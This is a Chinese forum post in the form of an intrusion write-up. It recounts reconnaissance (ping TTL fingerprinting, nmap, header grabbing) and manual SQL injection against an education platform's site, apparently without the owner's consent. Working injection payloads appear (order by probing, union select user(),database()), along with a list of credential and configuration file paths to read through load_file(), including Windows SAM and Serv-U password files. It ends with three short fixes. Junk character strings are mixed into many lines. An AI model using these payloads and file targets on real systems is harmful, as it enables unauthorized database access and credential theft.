题记：
, \3 T0 r( S& n# Q1 }0 R6 a一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
7 L$ K2 D2 T! H' {; m第一步：获取需要的信息
# \3 g9 R9 i8 c7 K* p由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
7 F& A8 V" J k5 g6 {8 C. c: }注：以下为保护特用XXX代替敏感信息
( X6 ]- s& b: _2 ~ k顺手先PING了一下他们的域名：
4 z8 m$ N- z: X$ [: ~, s2 E4 m9 Gping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
0 W- Y/ B: G! v- M. a64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms/ y$ ?. ]4 n: E) I( H0 N
顺便了解一下TTL，学好基础知识才能一路顺风：5 p$ x: p0 w4 w# z8 I
TTL：(Time To Live ) 生存时间 E7 s5 ?, n k/ F: L8 D- h# m! ^
指定数据包被路由器丢弃之前允许通过的网段数量。# e% m9 C; H$ A4 y* X
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。2 ?5 \: z- e) n2 B7 J) X- T( S; J
使用PING时涉及到的 ICMP 报文类型& A% c) L* O R; M& b H8 X* M
一个为ICMP请求回显（ICMP Echo Request）! A6 H7 V2 J& }3 i* n! ^4 J( s
一个为ICMP回显应答（ICMP Echo Reply）# G$ W* K6 ]( I* ?. C
TTL 字段值可以帮助我们识别操作系统类型。+ C2 h; _/ }# a: q1 V7 v; N
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
0 F& P0 Y1 O# [$ E w- dCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
; Q! {5 s& l) b) p) o微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
7 r" i$ n) K7 m/ S- m& \ U微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
0 y1 j' M' A7 i5 E9 p9 A当然，返回的TTL值是相同的
) m" ~ [7 z% d1 B+ W但有些情况下有所特殊/ c5 \2 B; h, b0 m7 |
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
+ d2 n1 H' {4 W* ?( E: cFreeBSD 4.1, 4.0, 3.4;
$ S0 i- f" B- ]& i1 pSun Solaris 2.5.1, 2.6, 2.7, 2.8;
3 L+ O( E3 _( T. I* LOpenBSD 2.6, 2.7,8 N+ n: @- `, N4 O
NetBSD
8 T( g5 Q! f- N' Q9 oHP UX 10.20
: a' g. m9 k3 H X& D% LICMP 回显应答的 TTL 字段值为 255
$ S* n: K C3 v2 J+ f7 R2 j5 ?3 eWindows 95/98/98SE
+ {! R8 ] Y5 cWindows ME6 x8 s% c+ N7 O
ICMP 回显应答的 TTL 字段值为 32
. ]4 b" w) S& P4 i% v2 R# aWindows NT4 WRKS* M+ a/ S+ V' `, D; d1 C9 i
Windows NT4 Server$ M* ?% @/ ~( M2 u. X
Windows 2000) _7 w8 ?% C2 n) }" ]6 S
Windows XP
1 v/ U" m; n! D" D3 d. d8 EICMP 回显应答的 TTL 字段值为 128
/ i5 F# Z/ U2 C4 G' B这样，我们就可以通过这种方法来辨别操作系统; d1 c( f& X) G/ M. b4 b$ U: d( M% E
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
( g& @' Q3 t: {9 J: _0 b& D用NMAP扫描一下：7 m9 u7 k+ m6 y/ R5 O" A
nmap -sT -O XXX.XXX.XXX.XXX6 q! V7 G1 z ?* Q* h4 }
如果没有装WinPcap则会弹出提示：
1 u& Z/ o- @% X( j0 P6 e& u7 GWARNING: Could not import all necessary WinPcap functions. You may need to upgr$ [9 G7 ]1 K6 K) \8 o5 ?' F
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(. Q, r# h2 W, Q5 E% W; d; C
) mode — Nmap may not function completely& P* H, N& h1 h. m$ Z' `' X
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher# x6 n$ L1 P7 t$ E
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
( x/ a8 k R& i( D1 ?4 ipcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an6 {" p0 H5 q6 ^, z
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v. Q! ]# u# p1 d
ersions, you may be able to take iphlpapi.dll from another system and place it i/ T; {5 ]( t0 b6 n5 K S9 l
n your system32 dir (e.g. c:\windows\system32).4 n6 t: ?0 Q: K( u+ k0 ^
QUITTING!
3 Z6 f/ @/ Q: s, K; M到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
b4 j2 E& X2 e4 g6 n安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
" y% l$ ?$ r+ A0 J/ p; h' P- cInteresting ports on XXX.XXX.XXX.XXX:, s0 ]$ l* i" A3 `7 O8 J
Not shown: 986 closed ports
& e: H* {0 `3 w- N OPORT STATE SERVICE
o6 W1 k+ |. _! {6 ]21/tcp open ftp
7 w9 b) a! ~" j" e; K22/tcp open ssh
+ x# p& ?# i4 X% o2 j23/tcp open telnet
. ^0 x$ R+ h; Z8 D# l6 X( ?80/tcp open http
, i5 p' H0 g- d, `/ M111/tcp open rpcbind
! t6 T, p3 t' y, F9 m3 f, U) q135/tcp filtered msrpc5 t! @2 f, U: f4 F
139/tcp filtered netbios-ssn6 ~9 c) M& |! O: H" I+ p
445/tcp filtered microsoft-ds
8 I0 u+ n( w; d- K* a513/tcp open login0 w* \1 N7 W& q+ `
514/tcp open shell
! u B- _# ^% @ r8 [! P1 n' W3 Y/ ~593/tcp filtered http-rpc-epmap4 K' f7 W+ y. B
1720/tcp filtered H.323/Q.931
+ _3 C/ R: B( x7 y: \3306/tcp open mysql
, T( H0 r$ s+ y3 D3 K3 p+ |+ }4444/tcp filtered krb5242 v- w9 T- e7 C$ a" m
Device type: WAP; V$ v2 @: U7 F: z; _
Running: Linux 2.4.X
3 d2 u, L! g$ C7 D3 T* p1 |OS details: DD-WRT (Linux 2.4.35s)* j8 c* K) W4 A8 \6 Z
Network Distance: 13 hops
& R$ t# }' J/ E% b3 v5 o看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：+ a; g/ A1 x( d, _* m
login as:
8 F# s6 C6 P& m# FTelnet23端口也是开着的，用telnet 命令链接一下：
9 I& `/ I; w6 N% D. v0 rtelnet XXX.XXX.XXX.XXX+ J' R! U, [+ x6 l
提示：; k5 K; s2 v* D7 ?3 G' D6 y
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
: ^3 ^8 o* u6 Y6 _! `. F# r" hKernel 2.6.18-92.el5PAE on an i686
4 t6 E0 C4 k7 W6 q& O7 t* plogin:5 [# y9 Z& c9 S: J
获取HTTP头信息：
" C4 I. \/ V6 x' b; u/ l$ w在本地执行如下PHP代码
/ { ?" ?8 b- u$ ?<?php
# N5 ~& U3 n/ e2 @5 C$url = ‘XXX.XXX.XXX.XXX’;
* I8 F( n- U7 E3 Q6 a' aprint_r(get_headers($url));* e0 h; A! E8 ?* p: Q% ^. [
print_r(get_headers($url, 1));7 M) E/ t. y/ o% I
?>+ f( ]+ Z( z% P
将以上代码保存为PHP文件，执行：
2 K/ ]3 W7 r% @Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )! y. H; t( J2 A6 T; B w U' D% {
现在可以得出结论：
6 ~+ s9 f$ v. k" \3 t4 B系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga): E% D8 w3 t5 x' j5 D, |
内核版本：Kernel 2.6.18-92.el5PAE on an i686
; Y: R$ ^) C/ [3 s) _WEB服务器版本：nginx/0.7.61& V3 C8 T4 p4 b) H `2 r! G5 C2 D
第二步，开始测试寻找漏洞2 V4 p! z h( E* f& L
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
3 M {8 V7 X0 i6 q$ i- C1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
+ S4 ^& Q5 u* U& k3 ^% z2、测试方法：在地址后加 and 1=1 和 and 1=2 测试7 v6 N2 E i9 T. s ]9 N! L
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
9 e1 V) ]# d5 O5 l7 }8 Shttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
) l8 Q' n2 D$ x2 S2 d2 `0 J恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
/ c; k: d: d: B; x! W2 `' p% X3、手工注入：
. r9 X& h6 a0 K) O$ k注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。5 ^5 t. G9 U! }
3.1 猜测当前表字段数) g/ h9 Q& y1 ~0 b" \+ e0 n
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
- ^, Z B0 K2 n3 K此处猜测有个简单的算法，都是有技巧的吗，呵呵: C3 A' i5 o( j& i$ C5 `0 N' R
算法简单如下：
8 o5 c8 U" j- }5 u. e第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
! r i. f5 g! R! K$ N第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
8 Y0 P, m" O `$ _1 h7 Z" W6 z需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。$ i( X1 f I& t3 F+ f! d
以此来判断，是否过界，配合取中算法猜出字段数。
* {" B. ]9 M3 O9 H( X( e; P0 a O举例：
- E: N3 B2 J2 l! L- n- ^http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常% J g2 W, ^/ p/ N+ T
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误6 n/ d" `9 ?+ D0 ?1 [
此时3则为我们要找的字段数。
[, }) [4 K4 ^7 _3.2 配合union联合查询字段在页面所位置+ d" X# j. }5 C3 t5 |9 j
我们已经知道了字段数为3，此时则可以做如下操作：) R; u9 b3 P1 Z
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,35 U7 G k: D3 z! E
% }$ h4 F) ~, E W
这样就可以测试到哪些字段在页面上有所显示了，如图：
, z. G4 u( t- E) ] q4 t9 M/ }1 F
3.3 查敏感信息, v# O+ q6 q) D6 F1 K9 T/ w6 c
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。# }' R5 f: d% X+ K
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()7 `. U; ^% @% |$ `+ A
3.3.1 先查数据库用户、数据库名，以备后用，如图：/ V, E; ~) \7 T1 W% ^
5 E0 ~/ W9 y9 ?% h2 x得到数据库用户为root、数据库名为DBxx；
9 ^. U; [1 G5 u, b% @9 A7 l L3.3.2 查配置文件
/ R3 w$ p- f/ ^' ?8 b$ G& ?& o查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。( O. `1 P$ g1 L
查看文件有一定的条件限制：
3 [8 [/ i& d- C K U/ k, A欲读取文件必须在服务器上2 t! ]' K% t8 S. Y
必须指定文件完整的路径
0 @4 S$ F y( L% H1 M必须有权限读取并且文件必须完全可读
1 e3 O* C) V- R2 c% l) i% H* e欲读取文件必须小于 max_allowed_packet" {! _8 @" s0 B1 N: O. c1 `
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
' B/ o; i/ X0 x" x( v0 l* l& B常用的一些：
* I/ C& R6 \4 B* I& w& a1 W: k) l/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件! r6 Z8 p" \3 |# J& u
/usr/local/apache2/conf/httpd.conf8 \ u N" I# ]4 w | w" u; i
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置. u- D% O6 k: x- c( j
/usr/local/app/php5/lib/php.ini //PHP相关设置7 u* o7 @! Q1 o
/etc/sysconfig/iptables //从中得到防火墙规则策略
5 B6 N( w; i: Q4 S6 V; ~. ~/etc/httpd/conf/httpd.conf // apache配置文件. r& M+ `, p% k
/etc/rsyncd.conf //同步程序配置文件/ [$ Z& Q$ M" E" A! t1 Y7 F, z
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.7 g3 V9 f& |; R& M( |7 G
/etc/my.cnf //mysql的配置文件
! A* F- Z6 x, o5 J3 ~/etc/redhat-release //系统版本* g% A; Y% H4 c5 u
/etc/issue
; L4 W* N8 R- a; g) l2 f" ^/etc/issue.net$ a# W; Q/ R9 ?) c
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
. l: A0 c2 d# d5 ~1 `9 h7 Oc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码" C r7 t6 S) i: o: g* a
c:\Program Files\Serv-U\ServUDaemon.ini' ?; q' }2 R$ B7 V' f0 [
c:\windows\my.ini //MYSQL配置文件5 Z! Z+ m% ^3 t# Q
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
( @- @4 M8 {0 k+ v+ h, t" z等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，" A2 d1 @ E# q& u% A
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
( R6 L: l: ?' V: |- H0 N5 |8 ac:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
$ Z- \6 P- f- s7 @: N8 n1 uc:\Program Files\RhinoSoft.com\ServUDaemon.exe" Q, g B, n3 W! I! D. G
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件: \" d2 u" C( O, _9 p* D" }
//存储了pcAnywhere的登陆密码0 r+ _& W/ I2 y e9 a8 }
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
3 q- W* t9 a1 E: X- E; w$ D这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。! X2 ^1 s. G# d; u5 Y, J- q9 I
最后：防范措施
, V7 q4 j/ g' U3 H3 @: d+ s1、修复PHP注入漏洞；, }! c+ w. i* v+ E$ C0 b: L, D4 t
2、Mysql使用普通权限的用户；; Z& g& q& V) U" @( n1 g
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对